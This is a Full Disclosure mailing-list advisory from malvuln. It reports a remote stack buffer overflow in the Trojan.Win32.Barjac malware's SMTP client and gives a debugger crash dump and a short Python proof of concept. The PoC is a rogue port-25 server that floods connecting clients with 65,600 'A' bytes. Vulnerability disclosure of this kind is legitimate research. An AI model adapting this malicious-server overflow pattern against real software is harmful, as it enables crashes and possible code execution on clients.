Full Disclosure mailing list archives

Trojan.Win32.Barjac / Remote Stack Buffer Overflow.


From: malvuln <malvuln13 () gmail com>
Date: Sat, 2 Jan 2021 17:56:52 -0500

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source:
http://malvuln.com/advisory/62ad686f97faaa68f580d32d25333f51.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln


Threat: Trojan.Win32.Barjac
Vulnerability: Remote Stack Buffer Overflow.
Description: Trojan.Win32.Barjac makes SMTP connection to Port 25,
upon processing the server response we control, we overwrite
instruction pointer (EIP), undermining the integrity of the trojan.

Type: PE32
MD5: 62ad686f97faaa68f580d32d25333f51
Vuln ID: MVID-2021-0011
Dropped files:
ASLR: False
Safe SEH: True
DEP: False
Disclosure: 01/01/2021

Memory Dump:
EAX : 41414141
EBX : 0404DD00
ECX : 00002736
EDX : 0404DD00
EBP : 0019FE78
ESP : 0019FE50
ESI : 00002736
EDI : 00002733
EIP : 41414141

ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141


CONTEXT:  0019f9f0 -- (.cxr 0x19f9f0)
eax=41414141 ebx=03fddd00 ecx=00002736 edx=03fddd00 esi=00002736 edi=00002733
eip=41414141 esp=0019fe50 ebp=0019fe78 iopl=0         nv up ei ng nz ac po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010293
41414141 ??              ???


Exploit/PoC:
import socket

junk = "A"
payload=junk*65600
port=25

def doit():
    global payload

    s = socket.socket()
    print("Trojan.Win32.Barjac / Remote Buffer Overflow")
    print("MD5: 62ad686f97faaa68f580d32d25333f51")
    print("By malvuln")

    try:
        host = ''
        s.bind((host, port))
        s.listen(5)

        while True:
            conn, addr = s.accept()
            conn.send(payload+'\r\n')
            conn.close()
    except Exception as e:
        pass

if __name__=="__main__":
    doit()



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occuring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


Current thread: